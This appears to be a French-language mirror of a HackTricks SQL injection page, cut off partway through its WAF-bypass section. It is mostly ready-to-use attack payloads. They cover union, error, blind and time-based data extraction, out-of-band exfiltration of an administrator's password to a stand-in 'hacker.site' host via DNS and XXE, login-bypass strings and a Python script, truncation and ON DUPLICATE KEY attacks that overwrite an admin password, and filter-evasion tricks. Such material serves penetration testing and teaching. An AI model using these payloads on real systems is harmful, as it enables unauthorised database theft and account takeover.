mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-03 18:10:07 +00:00
528 lines
32 KiB
Markdown
528 lines
32 KiB
Markdown
# Injection SQL
|
||
|
||
<details>
|
||
|
||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||
|
||
* Travaillez-vous dans une **entreprise de cybersécurité**? Voulez-vous voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||
* **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et au [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||
|
||
</details>
|
||
|
||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||
|
||
[**RootedCON**](https://www.rootedcon.com/) est l'événement le plus pertinent en matière de cybersécurité en **Espagne** et l'un des plus importants en **Europe**. Avec **pour mission de promouvoir les connaissances techniques**, ce congrès est un point de rencontre bouillonnant pour les professionnels de la technologie et de la cybersécurité dans chaque discipline.
|
||
|
||
{% embed url="https://www.rootedcon.com/" %}
|
||
|
||
## Qu'est-ce qu'une injection SQL?
|
||
|
||
Une **injection SQL** est une faille de sécurité qui permet aux attaquants d'**interférer avec les requêtes de base de données** d'une application. Cette vulnérabilité peut permettre aux attaquants de **visualiser**, **modifier** ou **supprimer** des données auxquelles ils ne devraient pas accéder, y compris les informations d'autres utilisateurs ou toutes les données auxquelles l'application peut accéder. De telles actions peuvent entraîner des modifications permanentes de la fonctionnalité ou du contenu de l'application, voire compromettre le serveur ou provoquer un déni de service.
|
||
|
||
|
||
## Détection du point d'entrée
|
||
|
||
Lorsqu'un site semble être **vulnérable à une injection SQL (SQLi)** en raison de réponses de serveur inhabituelles aux entrées liées à SQLi, la **première étape** consiste à comprendre comment **injecter des données dans la requête sans la perturber**. Cela nécessite d'identifier la méthode pour **s'échapper du contexte actuel** de manière efficace.
|
||
Voici quelques exemples utiles:
|
||
```
|
||
[Nothing]
|
||
'
|
||
"
|
||
`
|
||
')
|
||
")
|
||
`)
|
||
'))
|
||
"))
|
||
`))
|
||
```
|
||
Ensuite, vous devez savoir comment **corriger la requête pour qu'il n'y ait pas d'erreurs**. Pour corriger la requête, vous pouvez **entrer** des données pour que la **requête précédente accepte les nouvelles données**, ou vous pouvez simplement **entrer** vos données et **ajouter un symbole de commentaire à la fin**.
|
||
|
||
_Notez que si vous pouvez voir des messages d'erreur ou repérer des différences lorsque la requête fonctionne et quand elle ne fonctionne pas, cette phase sera plus facile._
|
||
|
||
### **Commentaires**
|
||
```sql
|
||
MySQL
|
||
#comment
|
||
-- comment [Note the space after the double dash]
|
||
/*comment*/
|
||
/*! MYSQL Special SQL */
|
||
|
||
PostgreSQL
|
||
--comment
|
||
/*comment*/
|
||
|
||
MSQL
|
||
--comment
|
||
/*comment*/
|
||
|
||
Oracle
|
||
--comment
|
||
|
||
SQLite
|
||
--comment
|
||
/*comment*/
|
||
|
||
HQL
|
||
HQL does not support comments
|
||
```
|
||
### Confirmation avec des opérations logiques
|
||
|
||
Une méthode fiable pour confirmer une vulnérabilité d'injection SQL consiste à exécuter une **opération logique** et à observer les résultats attendus. Par exemple, un paramètre GET tel que `?username=Peter` produisant un contenu identique lorsqu'il est modifié en `?username=Peter' or '1'='1` indique une vulnérabilité d'injection SQL.
|
||
|
||
De même, l'application d'**opérations mathématiques** sert de technique de confirmation efficace. Par exemple, si l'accès à `?id=1` et `?id=2-1` produit le même résultat, cela indique une injection SQL.
|
||
|
||
Exemples démontrant la confirmation par opération logique :
|
||
```
|
||
page.asp?id=1 or 1=1 -- results in true
|
||
page.asp?id=1' or 1=1 -- results in true
|
||
page.asp?id=1" or 1=1 -- results in true
|
||
page.asp?id=1 and 1=2 -- results in false
|
||
```
|
||
Ce word-list a été créé pour essayer de **confirmer les injections SQL** de la manière proposée:
|
||
|
||
{% file src="../../.gitbook/assets/sqli-logic.txt" %}
|
||
|
||
### Confirmation avec le Timing
|
||
|
||
Dans certains cas, vous **ne remarquerez aucun changement** sur la page que vous testez. Par conséquent, une bonne façon de **découvrir les injections SQL aveugles** est de faire effectuer des actions à la base de données qui auront un **impact sur le temps** nécessaire au chargement de la page.\
|
||
Ainsi, nous allons concaténer dans la requête SQL une opération qui prendra beaucoup de temps à se terminer:
|
||
```
|
||
MySQL (string concat and logical ops)
|
||
1' + sleep(10)
|
||
1' and sleep(10)
|
||
1' && sleep(10)
|
||
1' | sleep(10)
|
||
|
||
PostgreSQL (only support string concat)
|
||
1' || pg_sleep(10)
|
||
|
||
MSQL
|
||
1' WAITFOR DELAY '0:0:10'
|
||
|
||
Oracle
|
||
1' AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME])
|
||
1' AND 123=DBMS_PIPE.RECEIVE_MESSAGE('ASD',10)
|
||
|
||
SQLite
|
||
1' AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
|
||
1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))
|
||
```
|
||
Dans certains cas, les **fonctions sleep ne seront pas autorisées**. Au lieu d'utiliser ces fonctions, vous pourriez faire en sorte que la requête **effectue des opérations complexes** qui prendront plusieurs secondes. _Des exemples de ces techniques seront commentés séparément sur chaque technologie (le cas échéant)_.
|
||
|
||
### Identification du back-end
|
||
|
||
La meilleure façon d'identifier le back-end est d'essayer d'exécuter des fonctions des différents back-ends. Vous pourriez utiliser les _**fonctions sleep**_ de la section précédente ou celles-ci (tableau provenant de [payloadsallthethings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection#dbms-identification):
|
||
```bash
|
||
["conv('a',16,2)=conv('a',16,2)" ,"MYSQL"],
|
||
["connection_id()=connection_id()" ,"MYSQL"],
|
||
["crc32('MySQL')=crc32('MySQL')" ,"MYSQL"],
|
||
["BINARY_CHECKSUM(123)=BINARY_CHECKSUM(123)" ,"MSSQL"],
|
||
["@@CONNECTIONS>0" ,"MSSQL"],
|
||
["@@CONNECTIONS=@@CONNECTIONS" ,"MSSQL"],
|
||
["@@CPU_BUSY=@@CPU_BUSY" ,"MSSQL"],
|
||
["USER_ID(1)=USER_ID(1)" ,"MSSQL"],
|
||
["ROWNUM=ROWNUM" ,"ORACLE"],
|
||
["RAWTOHEX('AB')=RAWTOHEX('AB')" ,"ORACLE"],
|
||
["LNNVL(0=123)" ,"ORACLE"],
|
||
["5::int=5" ,"POSTGRESQL"],
|
||
["5::integer=5" ,"POSTGRESQL"],
|
||
["pg_client_encoding()=pg_client_encoding()" ,"POSTGRESQL"],
|
||
["get_current_ts_config()=get_current_ts_config()" ,"POSTGRESQL"],
|
||
["quote_literal(42.5)=quote_literal(42.5)" ,"POSTGRESQL"],
|
||
["current_database()=current_database()" ,"POSTGRESQL"],
|
||
["sqlite_version()=sqlite_version()" ,"SQLITE"],
|
||
["last_insert_rowid()>1" ,"SQLITE"],
|
||
["last_insert_rowid()=last_insert_rowid()" ,"SQLITE"],
|
||
["val(cvar(1))=1" ,"MSACCESS"],
|
||
["IIF(ATN(2)>0,1,0) BETWEEN 2 AND 0" ,"MSACCESS"],
|
||
["cdbl(1)=cdbl(1)" ,"MSACCESS"],
|
||
["1337=1337", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
|
||
["'i'='i'", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
|
||
```
|
||
De plus, si vous avez accès à la sortie de la requête, vous pourriez **faire afficher la version de la base de données**.
|
||
|
||
{% hint style="info" %}
|
||
Une continuation où nous allons discuter des différentes méthodes pour exploiter différents types d'injections SQL. Nous utiliserons MySQL comme exemple.
|
||
{% endhint %}
|
||
|
||
### Identification avec PortSwigger
|
||
|
||
{% embed url="https://portswigger.net/web-security/sql-injection/cheat-sheet" %}
|
||
|
||
## Exploitation basée sur l'Union
|
||
|
||
### Détection du nombre de colonnes
|
||
|
||
Si vous pouvez voir la sortie de la requête, c'est la meilleure façon de l'exploiter.\
|
||
Tout d'abord, nous devons trouver le **nombre** de **colonnes** que la **requête initiale** renvoie. Cela est nécessaire car **les deux requêtes doivent renvoyer le même nombre de colonnes**.\
|
||
Deux méthodes sont généralement utilisées à cette fin :
|
||
|
||
#### Order/Group by
|
||
|
||
Pour déterminer le nombre de colonnes dans une requête, ajustez progressivement le nombre utilisé dans les clauses **ORDER BY** ou **GROUP BY** jusqu'à ce qu'une réponse fausse soit reçue. Malgré les fonctionnalités distinctes de **GROUP BY** et **ORDER BY** dans SQL, les deux peuvent être utilisés de manière identique pour déterminer le nombre de colonnes de la requête.
|
||
```sql
|
||
1' ORDER BY 1--+ #True
|
||
1' ORDER BY 2--+ #True
|
||
1' ORDER BY 3--+ #True
|
||
1' ORDER BY 4--+ #False - Query is only using 3 columns
|
||
#-1' UNION SELECT 1,2,3--+ True
|
||
```
|
||
|
||
```sql
|
||
1' GROUP BY 1--+ #True
|
||
1' GROUP BY 2--+ #True
|
||
1' GROUP BY 3--+ #True
|
||
1' GROUP BY 4--+ #False - Query is only using 3 columns
|
||
#-1' UNION SELECT 1,2,3--+ True
|
||
```
|
||
#### UNION SELECT
|
||
|
||
Sélectionnez de plus en plus de valeurs nulles jusqu'à ce que la requête soit correcte :
|
||
```sql
|
||
1' UNION SELECT null-- - Not working
|
||
1' UNION SELECT null,null-- - Not working
|
||
1' UNION SELECT null,null,null-- - Worked
|
||
```
|
||
### Extraire les noms de base de données, les noms de table et les noms de colonnes
|
||
|
||
Dans les exemples suivants, nous allons récupérer le nom de toutes les bases de données, le nom de la table d'une base de données, les noms des colonnes de la table:
|
||
```sql
|
||
#Database names
|
||
-1' UniOn Select 1,2,gRoUp_cOncaT(0x7c,schema_name,0x7c) fRoM information_schema.schemata
|
||
|
||
#Tables of a database
|
||
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,table_name,0x7C) fRoM information_schema.tables wHeRe table_schema=[database]
|
||
|
||
#Column names
|
||
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name=[table name]
|
||
```
|
||
_Il existe une manière différente de découvrir ces données sur chaque base de données, mais la méthodologie reste toujours la même._
|
||
|
||
## Exploitation de l'injection basée sur l'union cachée
|
||
|
||
Lorsque la sortie d'une requête est visible, mais qu'une injection basée sur l'union semble impossible, cela signifie la présence d'une **injection basée sur l'union cachée**. Ce scénario conduit souvent à une situation d'injection aveugle. Pour transformer une injection aveugle en une injection basée sur l'union, il est nécessaire de comprendre la requête d'exécution en arrière-plan.
|
||
|
||
Cela peut être réalisé en utilisant des techniques d'injection aveugle en conjonction avec les tables par défaut spécifiques à votre système de gestion de base de données cible (DBMS). Pour comprendre ces tables par défaut, il est conseillé de consulter la documentation du DBMS cible.
|
||
|
||
Une fois que la requête a été extraite, il est nécessaire d'adapter votre charge utile pour fermer en toute sécurité la requête d'origine. Ensuite, une requête d'union est ajoutée à votre charge utile, facilitant l'exploitation de la nouvelle injection basée sur l'union désormais accessible.
|
||
|
||
Pour des informations plus détaillées, consultez l'article complet disponible sur [Healing Blind Injections](https://medium.com/@Rend_/healing-blind-injections-df30b9e0e06f).
|
||
|
||
## Exploitation basée sur les erreurs
|
||
|
||
Si, pour une raison quelconque, vous **ne pouvez pas** voir la **sortie** de la **requête** mais que vous pouvez **voir les messages d'erreur**, vous pouvez utiliser ces messages d'erreur pour **exfiltrer** des données de la base de données.\
|
||
En suivant un flux similaire à l'exploitation basée sur l'union, vous pourriez réussir à extraire la base de données.
|
||
```sql
|
||
(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))
|
||
```
|
||
## Exploiter les injections SQL aveugles
|
||
|
||
Dans ce cas, vous ne pouvez pas voir les résultats de la requête ou les erreurs, mais vous pouvez distinguer quand la requête renvoie une réponse vraie ou fausse car il y a différents contenus sur la page.\
|
||
Dans ce cas, vous pouvez abuser de ce comportement pour extraire la base de données caractère par caractère :
|
||
```sql
|
||
?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'
|
||
```
|
||
## Exploitation de l'injection SQL par erreur aveugle
|
||
|
||
Il s'agit du **même cas que précédemment** mais au lieu de distinguer entre une réponse vraie/fausse de la requête, vous pouvez **distinguer entre** une **erreur** dans la requête SQL ou non (peut-être parce que le serveur HTTP plante). Par conséquent, dans ce cas, vous pouvez forcer une erreur SQL à chaque fois que vous devinez correctement le caractère :
|
||
```sql
|
||
AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -
|
||
```
|
||
## Exploiter de l'injection SQL basée sur le temps
|
||
|
||
Dans ce cas, il **n'y a pas** de moyen de **distinguer** la **réponse** de la requête en fonction du contexte de la page. Cependant, vous pouvez faire en sorte que la page **mette plus de temps à se charger** si le caractère deviné est correct. Nous avons déjà vu cette technique utilisée précédemment pour [confirmer une vulnérabilité SQLi](./#confirming-with-timing).
|
||
```sql
|
||
1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#
|
||
```
|
||
## Requêtes imbriquées
|
||
|
||
Vous pouvez utiliser des requêtes imbriquées pour **exécuter plusieurs requêtes successives**. Notez que bien que les requêtes suivantes soient exécutées, les **résultats** ne sont **pas renvoyés à l'application**. Par conséquent, cette technique est principalement utile en relation avec les **vulnérabilités aveugles** où vous pouvez utiliser une deuxième requête pour déclencher une recherche DNS, une erreur conditionnelle ou un retard temporel.
|
||
|
||
**Oracle** ne prend pas en charge les **requêtes imbriquées**. **MySQL, Microsoft** et **PostgreSQL** les prennent en charge : `REQUÊTE-1-ICI; REQUÊTE-2-ICI`
|
||
|
||
## Exploitation hors bande
|
||
|
||
Si **aucune autre** méthode d'exploitation n'a **fonctionné**, vous pouvez essayer de faire en sorte que la **base de données exfiltre** les informations vers un **hôte externe** contrôlé par vous. Par exemple, via des requêtes DNS :
|
||
```sql
|
||
select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));
|
||
```
|
||
### Exfiltration de données hors bande via XXE
|
||
```sql
|
||
a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users WHERE username='administrator')||'.hacker.site/"> %remote;]>'),'/l') FROM dual-- -
|
||
```
|
||
## Exploitation Automatisée
|
||
|
||
Consultez la [Feuille de triche SQLMap](sqlmap/) pour exploiter une vulnérabilité SQLi avec [**sqlmap**](https://github.com/sqlmapproject/sqlmap).
|
||
|
||
## Informations Techniques Spécifiques
|
||
|
||
Nous avons déjà discuté de toutes les façons d'exploiter une vulnérabilité d'injection SQL. Découvrez quelques astuces supplémentaires dépendantes de la technologie de base de données dans ce livre :
|
||
|
||
* [MS Access](ms-access-sql-injection.md)
|
||
* [MSSQL](mssql-injection.md)
|
||
* [MySQL](mysql-injection/)
|
||
* [Oracle](oracle-injection.md)
|
||
* [PostgreSQL](postgresql-injection/)
|
||
|
||
Ou vous trouverez **beaucoup d'astuces concernant : MySQL, PostgreSQL, Oracle, MSSQL, SQLite et HQL dans** [**https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection**](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection)
|
||
|
||
|
||
|
||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||
|
||
[**RootedCON**](https://www.rootedcon.com/) est l'événement de cybersécurité le plus pertinent en **Espagne** et l'un des plus importants en **Europe**. Avec **pour mission de promouvoir les connaissances techniques**, ce congrès est un point de rencontre bouillonnant pour les professionnels de la technologie et de la cybersécurité dans chaque discipline.
|
||
|
||
{% embed url="https://www.rootedcon.com/" %}
|
||
|
||
## Contournement de l'Authentification
|
||
|
||
Liste pour essayer de contourner la fonctionnalité de connexion :
|
||
|
||
{% content-ref url="../login-bypass/sql-login-bypass.md" %}
|
||
[sql-login-bypass.md](../login-bypass/sql-login-bypass.md)
|
||
{% endcontent-ref %}
|
||
|
||
### Contournement de l'Authentification par Hachage Brut
|
||
```sql
|
||
"SELECT * FROM admin WHERE pass = '".md5($password,true)."'"
|
||
```
|
||
Ce query montre une vulnérabilité lorsque MD5 est utilisé avec true pour la sortie brute dans les vérifications d'authentification, rendant le système vulnérable aux injections SQL. Les attaquants peuvent exploiter cela en créant des entrées qui, lorsqu'elles sont hachées, produisent des parties de commandes SQL inattendues, entraînant un accès non autorisé.
|
||
```sql
|
||
md5("ffifdyop", true) = 'or'6<EFBFBD>]<EFBFBD><EFBFBD>!r,<EFBFBD><EFBFBD>b<EFBFBD>
|
||
sha1("3fDf ", true) = Q<EFBFBD>u'='<EFBFBD>@<EFBFBD>[<EFBFBD>t<EFBFBD>- o<EFBFBD><EFBFBD>_-!
|
||
```
|
||
### Contournement de l'authentification par hachage injecté
|
||
```sql
|
||
admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'
|
||
```
|
||
**Liste recommandée**:
|
||
|
||
Vous devriez utiliser comme nom d'utilisateur chaque ligne de la liste et comme mot de passe toujours: _**Pass1234.**_\
|
||
_(Ces charges utiles sont également incluses dans la grande liste mentionnée au début de cette section)_
|
||
|
||
{% file src="../../.gitbook/assets/sqli-hashbypass.txt" %}
|
||
|
||
### Contournement de l'authentification GBK
|
||
|
||
SI ' est échappé, vous pouvez utiliser %A8%27, et lorsque ' est échappé, il sera créé: 0xA80x5c0x27 (_╘'_)
|
||
```sql
|
||
%A8%27 OR 1=1;-- 2
|
||
%8C%A8%27 OR 1=1-- 2
|
||
%bf' or 1=1 -- --
|
||
```
|
||
Script Python :
|
||
```python
|
||
import requests
|
||
url = "http://example.com/index.php"
|
||
cookies = dict(PHPSESSID='4j37giooed20ibi12f3dqjfbkp3')
|
||
datas = {"login": chr(0xbf) + chr(0x27) + "OR 1=1 #", "password":"test"}
|
||
r = requests.post(url, data = datas, cookies=cookies, headers={'referrer':url})
|
||
print r.text
|
||
```
|
||
### Injection polyglotte (multicontexte)
|
||
```sql
|
||
SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/
|
||
```
|
||
## Instruction d'insertion
|
||
|
||
### Modifier le mot de passe d'un objet/utilisateur existant
|
||
|
||
Pour ce faire, vous devriez essayer de **créer un nouvel objet nommé comme l' "objet principal"** (probablement **admin** dans le cas des utilisateurs) en modifiant quelque chose :
|
||
|
||
* Créer un utilisateur nommé : **AdMIn** (lettres majuscules et minuscules)
|
||
* Créer un utilisateur nommé : **admin=**
|
||
* **Attaque de Troncature SQL** (lorsqu'il y a une sorte de **limite de longueur** dans le nom d'utilisateur ou l'e-mail) --> Créer un utilisateur avec le nom : **admin \[beaucoup d'espaces] a**
|
||
|
||
#### Attaque de Troncature SQL
|
||
|
||
Si la base de données est vulnérable et que le nombre maximal de caractères pour le nom d'utilisateur est par exemple de 30 et que vous souhaitez vous faire passer pour l'utilisateur **admin**, essayez de créer un nom d'utilisateur appelé : "_admin \[30 espaces] a_" et un mot de passe quelconque.
|
||
|
||
La base de données va **vérifier** si le **nom d'utilisateur** **introduit** **existe** dans la base de données. Si ce n'est pas le cas, elle va **tronquer** le **nom d'utilisateur** au **nombre maximal de caractères autorisé** (dans ce cas à : "_admin \[25 espaces]_") et elle va **automatiquement supprimer tous les espaces à la fin en mettant à jour** dans la base de données l'utilisateur "**admin**" avec le **nouveau mot de passe** (une erreur pourrait apparaître mais cela ne signifie pas que cela n'a pas fonctionné).
|
||
|
||
Plus d'informations : [https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html](https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html) & [https://resources.infosecinstitute.com/sql-truncation-attack/#gref](https://resources.infosecinstitute.com/sql-truncation-attack/#gref)
|
||
|
||
_Remarque : Cette attaque ne fonctionnera plus comme décrit ci-dessus dans les dernières installations MySQL. Bien que les comparaisons continuent d'ignorer les espaces de fin par défaut, tenter d'insérer une chaîne plus longue que la longueur d'un champ entraînera une erreur et l'insertion échouera. Pour plus d'informations à ce sujet, consultez : [https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation](https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation)_
|
||
|
||
### Vérification basée sur le temps de l'insertion MySQL
|
||
|
||
Ajoutez autant de `','',''` que vous estimez nécessaire pour sortir de l'instruction VALUES. Si un délai est exécuté, vous avez une injection SQL.
|
||
```sql
|
||
name=','');WAITFOR%20DELAY%20'0:0:5'--%20-
|
||
```
|
||
### SUR CLÉ EN DOUBLE MISE À JOUR
|
||
|
||
La clause `ON DUPLICATE KEY UPDATE` en MySQL est utilisée pour spécifier les actions à effectuer par la base de données lorsqu'une tentative est faite pour insérer une ligne qui entraînerait une valeur en double dans un index UNIQUE ou une CLÉ PRIMAIRE. L'exemple suivant démontre comment cette fonctionnalité peut être exploitée pour modifier le mot de passe d'un compte administrateur :
|
||
|
||
Injection de Payload Exemple :
|
||
|
||
Une charge utile d'injection pourrait être conçue comme suit, où deux lignes sont tentées d'être insérées dans la table `users`. La première ligne est un leurre, et la deuxième cible l'e-mail d'un administrateur existant dans le but de mettre à jour le mot de passe :
|
||
```sql
|
||
INSERT INTO users (email, password) VALUES ("generic_user@example.com", "bcrypt_hash_of_newpassword"), ("admin_generic@example.com", "bcrypt_hash_of_newpassword") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_newpassword" -- ";
|
||
```
|
||
Voici comment cela fonctionne :
|
||
|
||
- La requête tente d'insérer deux lignes : une pour `generic_user@example.com` et une autre pour `admin_generic@example.com`.
|
||
- Si la ligne pour `admin_generic@example.com` existe déjà, la clause `ON DUPLICATE KEY UPDATE` est déclenchée, indiquant à MySQL de mettre à jour le champ `password` de la ligne existante avec "bcrypt_hash_of_newpassword".
|
||
- Par conséquent, l'authentification peut ensuite être tentée en utilisant `admin_generic@example.com` avec le mot de passe correspondant au hachage bcrypt ("bcrypt_hash_of_newpassword" représente le hachage bcrypt du nouveau mot de passe, qui doit être remplacé par le hachage réel du mot de passe souhaité).
|
||
|
||
### Extraire des informations
|
||
|
||
#### Créer 2 comptes en même temps
|
||
|
||
Lors de la tentative de création d'un nouvel utilisateur et d'un nom d'utilisateur, un mot de passe et un e-mail sont nécessaires :
|
||
```
|
||
SQLi payload:
|
||
username=TEST&password=TEST&email=TEST'),('otherUsername','otherPassword',(select flag from flag limit 1))-- -
|
||
|
||
A new user with username=otherUsername, password=otherPassword, email:FLAG will be created
|
||
```
|
||
#### Utilisation de décimal ou hexadécimal
|
||
|
||
Avec cette technique, vous pouvez extraire des informations en créant seulement 1 compte. Il est important de noter que vous n'avez pas besoin de commenter quoi que ce soit.
|
||
|
||
En utilisant **hex2dec** et **substr**:
|
||
```sql
|
||
'+(select conv(hex(substr(table_name,1,6)),16,10) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
|
||
```
|
||
Pour obtenir le texte, vous pouvez utiliser :
|
||
```python
|
||
__import__('binascii').unhexlify(hex(215573607263)[2:])
|
||
```
|
||
Utilisation de **hex** et **replace** (et **substr**) :
|
||
```sql
|
||
'+(select hex(replace(replace(replace(replace(replace(replace(table_name,"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
|
||
|
||
'+(select hex(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
|
||
|
||
#Full ascii uppercase and lowercase replace:
|
||
'+(select hex(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%"),"z","&"),"J","'"),"K","`"),"L","("),"M",")"),"N","@"),"O","$$"),"Z","&&")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
|
||
```
|
||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||
|
||
[**RootedCON**](https://www.rootedcon.com/) est l'événement le plus pertinent en matière de cybersécurité en **Espagne** et l'un des plus importants en **Europe**. Avec **pour mission de promouvoir les connaissances techniques**, ce congrès est un point de rencontre bouillonnant pour les professionnels de la technologie et de la cybersécurité dans chaque discipline.
|
||
|
||
{% embed url="https://www.rootedcon.com/" %}
|
||
|
||
## Injection SQL routée
|
||
|
||
L'injection SQL routée est une situation où la requête injectable n'est pas celle qui donne une sortie, mais la sortie de la requête injectable va à la requête qui donne une sortie. ([From Paper](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Routed%20SQL%20Injection%20-%20Zenodermus%20Javanicus.txt))
|
||
|
||
Exemple:
|
||
```
|
||
#Hex of: -1' union select login,password from users-- a
|
||
-1' union select 0x2d312720756e696f6e2073656c656374206c6f67696e2c70617373776f72642066726f6d2075736572732d2d2061 -- a
|
||
```
|
||
## Contournement de WAF
|
||
|
||
[Bypass initiaux à partir d'ici](https://github.com/Ne3o1/PayLoadAllTheThings/blob/master/SQL%20injection/README.md#waf-bypass)
|
||
|
||
### Contournement sans espaces
|
||
|
||
Pas d'espace (%20) - contournement en utilisant des alternatives d'espacement
|
||
```sql
|
||
?id=1%09and%091=1%09--
|
||
?id=1%0Dand%0D1=1%0D--
|
||
?id=1%0Cand%0C1=1%0C--
|
||
?id=1%0Band%0B1=1%0B--
|
||
?id=1%0Aand%0A1=1%0A--
|
||
?id=1%A0and%A01=1%A0--
|
||
```
|
||
### No Whitespace - contourner en utilisant des commentaires
|
||
|
||
Dans certains cas, les filtres de sécurité peuvent bloquer les requêtes SQL injectées en recherchant des mots-clés spécifiques. Pour contourner ces filtres, vous pouvez utiliser des commentaires SQL pour masquer les parties de votre injection. Par exemple, au lieu d'insérer un espace entre les mots, vous pouvez utiliser des commentaires pour rendre le code SQL valide tout en évitant les filtres de sécurité.
|
||
```sql
|
||
?id=1/*comment*/and/**/1=1/**/--
|
||
```
|
||
### No Whitespace - contourner en utilisant des parenthèses
|
||
|
||
Dans certains cas, les filtres de sécurité peuvent bloquer les mots-clés SQL tels que `OR` ou `AND`, mais autoriser les parenthèses. Pour contourner cette restriction, vous pouvez utiliser des parenthèses pour regrouper les conditions et ainsi exécuter une injection SQL avec succès.
|
||
```sql
|
||
?id=(1)and(1)=(1)--
|
||
```
|
||
### Pas de virgules de contournement
|
||
|
||
Pas de virgule - contournement en utilisant OFFSET, FROM et JOIN
|
||
```
|
||
LIMIT 0,1 -> LIMIT 1 OFFSET 0
|
||
SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
|
||
SELECT 1,2,3,4 -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d
|
||
```
|
||
### Contournements génériques
|
||
|
||
Liste noire utilisant des mots-clés - contourner en utilisant des majuscules/minuscules
|
||
```sql
|
||
?id=1 AND 1=1#
|
||
?id=1 AnD 1=1#
|
||
?id=1 aNd 1=1#
|
||
```
|
||
Utilisation d'une liste noire de mots-clés insensible à la casse - contourner en utilisant un opérateur équivalent
|
||
```
|
||
AND -> && -> %26%26
|
||
OR -> || -> %7C%7C
|
||
= -> LIKE,REGEXP,RLIKE, not < and not >
|
||
> X -> not between 0 and X
|
||
WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())Then(table_name)END) -> group_concat(if(table_schema=database(),table_name,null))
|
||
```
|
||
### Contournement de WAF par notation scientifique
|
||
|
||
Vous pouvez trouver une explication plus détaillée de cette astuce dans le [blog de gosecure](https://www.gosecure.net/blog/2021/10/19/a-scientific-notation-bug-in-mysql-left-aws-waf-clients-vulnerable-to-sql-injection/).\
|
||
Essentiellement, vous pouvez utiliser la notation scientifique de manière inattendue pour contourner le WAF :
|
||
```
|
||
